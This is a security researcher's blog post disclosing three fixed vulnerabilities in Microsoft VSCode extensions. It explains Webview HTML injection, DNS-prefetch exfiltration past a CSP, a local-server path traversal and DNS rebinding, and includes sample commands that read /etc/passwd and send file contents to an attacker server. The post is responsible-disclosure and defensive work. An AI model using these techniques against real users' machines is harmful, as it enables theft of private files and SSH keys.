By Vasco Franco
TL;DR: This two-part blog series will cover how I found and disclosed three vulnerabilities in VSCode extensions and one vulnerability in VSCode itself (a security mitigation bypass assigned CVE-2022-41042 and awarded a $7,500 bounty). We will identify the underlying cause of each vulnerability and create fully working exploits to demonstrate how an attacker could have compromised your machine. We will also recommend ways to prevent similar issues from occurring in the future.
A few months ago, I decided to assess the security of some VSCode extensions that we frequently use during audits. In particular, I looked at two Microsoft extensions: SARIF viewer, which helps visualize static analysis results, and Live Preview, which renders HTML files directly in VSCode.
Why should you care about the security of VSCode extensions? As we will demonstrate, vulnerabilities in VSCode extensions—especially those that parse potentially untrusted input—can lead to the compromise of your local machine. In both the extensions I reviewed, I found a high-severity bug that would allow an attacker to steal all of your local files. With one of these bugs, an attacker could even steal your SSH keys if you visited a malicious website while the extension is running in the background.
During this research, I learned about VSCode Webviews—sandboxed UI panels that run in a separate context from the main extension, analogous to an iframe in a normal website—and researched avenues to escape them. In this post, we’ll dive into what VSCode Webviews are and analyze three vulnerabilities in VSCode extensions, two of which led to arbitrary local file exfiltration. We will also look at some interesting exploitation tricks: leaking files using DNS to bypass restrictive Content-Security-Policy (CSP) policies, using
In an upcoming blog post, we’ll examine a bug in VSCode itself that allows us to escape a Webview’s sandbox even in a well-configured extension.
As a defense-in-depth protection against XSS vulnerabilities, extensions have to create UI panels inside sandboxed Webviews. These Webviews don’t have access to the NodeJS APIs, which allow the main extension to read files and run shell commands. Webviews can be further limited with several options:
false. Most extensions require
localResourceRoots: prevents Webviews from accessing files outside of the directories specified in
localResourceRoots. The default is the current workspace directory and the extension’s folder.
Content-Security-Policy: mitigates the impact of XSS vulnerabilities by limiting the sources from which the Webview can load content (images, CSS, scripts, etc.). The policy is added through a meta tag of the Webview’s HTML source, such as:
<meta http-equiv="Content-Security-Policy" content="default-src 'none';">
Sometimes, these Webview panels need to communicate with the main extension to pass some data or ask for a privileged operation that they cannot perform on their own. This communication is achieved by using the
Below is a simple, commented example of how to create a Webview and how to pass messages between the main extension and the Webview.
An XSS vulnerability inside the Webview should not lead to a compromise if the following conditions are true:
localResourceRoots is correctly set up, the CSP correctly limits the sources from which content can be loaded, and no
You can read more about Webviews and their security model in VSCode’s documentation for Webviews.
Now that we understand Webviews a little better, let’s take a look at three vulnerabilities that I found during my research and how I was able to escape Webviews and exfiltrate local files in two VSCode extensions built by Microsoft.
Microsoft’s SARIF viewer is a VSCode extension that parses SARIF files—a JSON-based file format into which most static analysis tools output their results—and displays them in a browsable list.
Since I use the SARIF viewer extension in all of our audits to triage static analysis results, I wanted to know how well it was protected against loading untrusted SARIF files. These untrusted files can be downloaded from an untrusted source or, more likely, result from running a static analysis tool—such as CodeQL or Semgrep—with a malicious rule containing metadata that can manipulate the resulting SARIF file (e.g., the finding’s description).
While examining the code where the SARIF data is rendered, I came across a suspicious-looking snippet in which the description of a static analysis result is rendered using the
ReactMarkdown class with the
escapeHtml option set to
Since HTML is not escaped, by controlling the
onerror handler of an
img with an invalid source.
It worked! The picture below shows the exploit in action.
This was the easy part. Now, we need to weaponize this bug by fetching sensitive local files and exfiltrating them to our server.
Fetching local files
Our HTML injection is inside a Webview, which, as we saw, is limited to reading files inside its
localResourceRoots. The Webview is created with the following code:
As we can see,
localResourceRoots is configured very poorly. It allows the Webview to read files from anywhere on the disk, up to the
z: drive! This means that we can just read any file we want—for example, a user’s private key at
Inside the Webview, we cannot open and read a file since we don’t have access to NodeJS APIs. Instead, we make a fetch to https://file+.vscode-resource.vscode-cdn.net/, and the file contents are sent in the response (if the file exists and is within the localResourceRoots path).
/etc/issue, all we need is to make the following
Now, we just need to send the file contents to our remote server. Normally, this would be easy; we would make a fetch to a server we control with the file’s contents in the POST body or in a GET parameter (e.g.,
However, the Webview has a fairly restrictive CSP. In particular, the
connect-src directive restricts fetches to
https://*.vscode-cdn.net. Since we don’t control either source, we cannot make fetches to our attacker-controlled server.
We can circumvent this limitation with, you guessed it, DNS! By injecting
tags with the
rel="dns-prefetch" attribute, we can leak file contents in subdomains even with the restrictive CSP
To leak the file, all we need is to encode the file in hex and inject
tags in the DOM, where the
href points to our attacker-controlled server with the encoded file contents in the subdomains. We just need to ensure that each subdomain has at most 64 characters (including the
.s) and that the whole subdomain has less than 256 characters.
Putting it all together
By combining these techniques, we can build an exploit that exfiltrates the user’s
$HOME/.ssh/id_rsa file. Here is the commented exploit:
This was all possible because the extension used the
ReactMarkdown component with the
localResourceRoots, the attacker could take any file from the user’s filesystem. Would this vulnerability still be exploitable with a stricter
localResourceRoots? Wait for the second blog post! ;)
To detect these issues automatically, we improved Semgrep’s existing
ReactMarkdown rule in PR #2307. Try it out against React codebases with
semgrep --config "p/react."
Microsoft’s Live Preview, a VSCode extension with more than 1 million installs, allows you to preview HTML files from your current workspace in an embedded browser directly in VSCode. I wanted to understand if I could safely preview malicious HTML files using the extension.
The extension starts by creating a local HTTP server on port 3000, where it hosts the current workspace directory and all of its files. Then, to render a file, it creates an
iframe that points to the local HTTP server (e.g.,
The inner preview
iframe and the outer Webview communicate using the
postMessage handlers are a good place to start!
We don’t have to look hard! The
link-hover-start handler is vulnerable to HTML injection because it directly passes input from the
iframe message (which we control the contents of) to the
innerHTML attribute of an element of the Webview without any sanitization. This allows an attacker to control part of the Webview’s HTML.
The naive approach of setting
<script> console.log('HELLO'); </script>
does not work because the script is added to the DOM but does not get loaded. Thankfully, there’s a neat trick we can use to circumvent this limitation: writing the script inside an
srcdoc iframe, as shown in the figure below.
The browser considers
srcdoc iframes to have the same origin as their parent windows. So even though we just escaped one
iframe and injected another, this
srcdoc iframe will have access to the Webview’s DOM, global variables, and functions.
The downside is that the
iframe is now ruled by the same CSP as the Webview.
default-src 'none'; connect-src ws://127.0.0.1:3001/ 'self'; font-src 'self' https://*.vscode-cdn.net; style-src 'self' https://*.vscode-cdn.net; script-src 'nonce-'; frame-src http://127.0.0.1:3000;
CSP of the Live Preview extension’s Webview (source)
In contrast with the first vulnerability , this CSP’s
script-src directive does not include
unsafe-inline, but instead uses a nonce-based
The nonce is generated with the following code:
Brute-forcing the nonce
While we can try as many nonces as we please without repercussion, the nonce has a length of 64 with an alphabet of 62 characters, so the universe would end before we found the right one.
Recovering the nonce due to poor randomness
An astute reader might have noticed that the nonce-generating function uses
Math.random, a cryptographically unsafe random number generator.
Math.random uses the
xorshift128+ algorithm behind the scenes, and, given X random numbers, we can recover the algorithm’s internal state and predict past and future random numbers. See, for example, the Practical Exploitation of Math.random on V8 conference talk, and an implementation of the state recovery.
My idea was to call
Math.Random repeatedly in our inner iframe and recover the state used to generate the nonce. However, the inner iframe, the outer Webview, and the main extension that created the random nonce have different instances of the internal algorithm state; we cannot recover the nonce this way.
Leaking the nonce
The final option was to leak the nonce. I searched the Webview code for
postMessage handlers that sent data into the inner iframe (the one we control) in the hopes that we could somehow sneak in the nonce.
Our best bet is the
findNext function, which sends the value of the
find-input element to our
My goal was to somehow make the Webview attach the nonce to a “fake”
find-input element that we would inject using our HTML injection. I dreamed of injecting an incomplete element like
input id="find-input" value=" : This would create a “fake” element with the
find-input ID, and open its
value attribute without closing it. However, this was doomed to fail for multiple reasons. First, we cannot escape from the element we are setting the
innerHTML to, and since we are writing it in full, it could never contain the nonce. Second, the DOM parser does not parse the HTML in the example above; our element is just left empty. Finally, the
document.getElementById('find-input') always finds the already existing element, not the one we injected.
Vulnerability 3: Path traversal in the local HTTP server in Microsoft’s Live Preview extension
Since we couldn’t get around the CSP, I thought another interesting place to investigate was the local HTTP server that serves the HTML files to be previewed. Could we fetch arbitrary files from it or could we only fetch files in the current workspace?
Below is a simplified version of the code that handles each HTTP request.
My goal was to find a path traversal vulnerability that would allow me to escape the
Finding a path traversal bug
The simple approach of calling
fetch("../../../../../../etc/passwd") does not work because the browser normalizes the request to
fetch("/etc/passwd"). However, the server logic does not prevent this path traversal attack; the following cURL command retrieves the
curl --path-as-is http://127.0.0.1:3000/../../../../../../etc/passwd
cURL command that demonstrates that the server does not prevent path traversal attacks
URL class, as shown in the snippet below.
This code splits the query string from the URL using
lastIndexOf('?'). However, a browser will parse a query string from the first index of
?. By fetching
?../../../../../../etc/passwd?AAA the browser will
not normalize the
../ sequences because they are part of the query string from the browser’s point of view (in green in the figure below). From the server’s point of view (in blue in the figure below), only
AAA is part of the query string, so the
URLPathName variable will be set to
?../../../../../../etc/passwd, and the full path will be normalized to
path.join(basePath ?? '', URLPathName). We have a path traversal!
Exploitation scenario 1
If an attacker controls a file that a user opens with the VSCode Live Preview extension, they can use this path traversal to leak arbitrary user files and folders.
In contrast with vulnerability 1, this exploit is quite straightforward. It follows these simple steps:
- From the HTML file being previewed, fetch the file or directory that we want to leak with
fetch("http://127.0.0.1:3000/?../../../../../../../../../etc/passwd?"). (Note that we can see the fetch results even without a CORS policy because our exploit file is also hosted on the
- Encode the file contents in base64 with
leaked_file_b64 = btoa(leaked_file).
- Send the encoded file to our attacker-controlled server with
fetch("http://?q=" + leaked_file_b64).
Here is the commented exploit:
Exploitation scenario 2
The previous attack scenario only works if a user previews an attacker-controlled file, but using that exploit is going to be very hard. But we can go further! We can increase the vulnerability’s impact by only requiring that the victim visits an attacker’s website while the Live Preview HTTP server is running in the background with DNS rebinding—a common technique to exploit unauthenticated internal services.
In a DNS rebinding attack, an attacker changes a domain’s DNS record between two IPs—the attacker server’s IP and the local server’s IP (commonly
To set up our exploit, we’ll do the following:
- Host our attacker-controlled server with the exploit at
- Use the
rbndrservice with the
7f000001.c0a80d80.rbndr.usdomain that flips its DNS record between
(NOTE: If you want to reproduce this setup, ensure that running
host 7f000001.c0a80d80.rbndr.us will alternate between the two IPs. This works flawlessly on my Linux machine, with
126.96.36.199 as the DNS server.)
To steal a victim’s local files, we need to make them browse to the
7f000001.c0a80d80.rbndr.us URL, hoping that it will resolve to our server with the exploit. Then, our exploit page makes fetches with the path traversal attack on a loop until the browser makes a DNS request that resolves to the
127.0.0.1 IP; once it does so, we get the content of the sensitive file. Here is the commented exploit:
How to secure VSCode Webviews
Webviews have strong defaults and mitigations to minimize a vulnerability’s impact. This is great, and it totally prevented a full compromise in our vulnerability 2! However, these vulnerabilities also showed that extensions—even those built by Microsoft, the creators of VSCode—can be misconfigured. For example, vulnerability 1 is a glaring example of how not to set up the
If you are building a VSCode extension and plan on using Webviews, we recommend following these principles:
- Restrict the CSP as much as possible. Start with
default-src 'none'and add other sources only as needed. For the
script-srcdirective, avoid using
unsafe-inline; instead, use a nonce or hash-based source. If you use a nonce-based source, generate it with a cryptographically-strong random number generator (e.g.,
- Restrict the
localResourceRootsoption as much as possible. Preferably, allow the Webview to read only files from the extension’s installation folder.
- Ensure that any
postMessagehandlers in the main extension thread are not vulnerable to issues such as SQL injection, command injection, arbitrary file writes, or arbitrary file reads.
- If your extension runs a local HTTP server, minimize the risk of path traversal attacks by:
- Checking if the file is within the expected root after normalizing the path and right before reading the file.
- If your extension runs a local HTTP server, minimize the risk of DNS rebinding attacks by:
- Spawning the server on a random port and using the Webview’s
portMappingoption to map the random localhost port to a static one in the Webview. This will limit an attacker’s ability to fingerprint if the server is running and make it harder for them to brute-force the port. It has the added benefit of seamlessly handling cases where the hard-coded port is in use by another application.
- Allowlisting the
Hostheader with only
127.0.0.1(like CUPS does). Alternatively, authenticate the local server.
- Spawning the server on a random port and using the Webview’s
- And, of course, don’t flow user input into
.innerHTML—but you already knew that one. If you’re trying to add text to an element, use
If you follow these principles you’ll have a well-configured VSCode extension. Nothing can go wrong, right? In a second blog post, we’ll examine a bug in VSCode itself that allows us to escape a Webview’s sandbox even in a well-configured extension.
- August 12, 2022: Reported vulnerability 1 to Microsoft
- August 13–16, 2022: Vulnerability 1 was fixed in c054421 and 98816d9
- September 7, 2022: Reported vulnerability 2 and 3 to Microsoft
- September 14, 2022: Vulnerability 2 fixed in 4e029aa
- October 5, 2022: Vulnerability 3 fixed in 9d26055 and 88503c4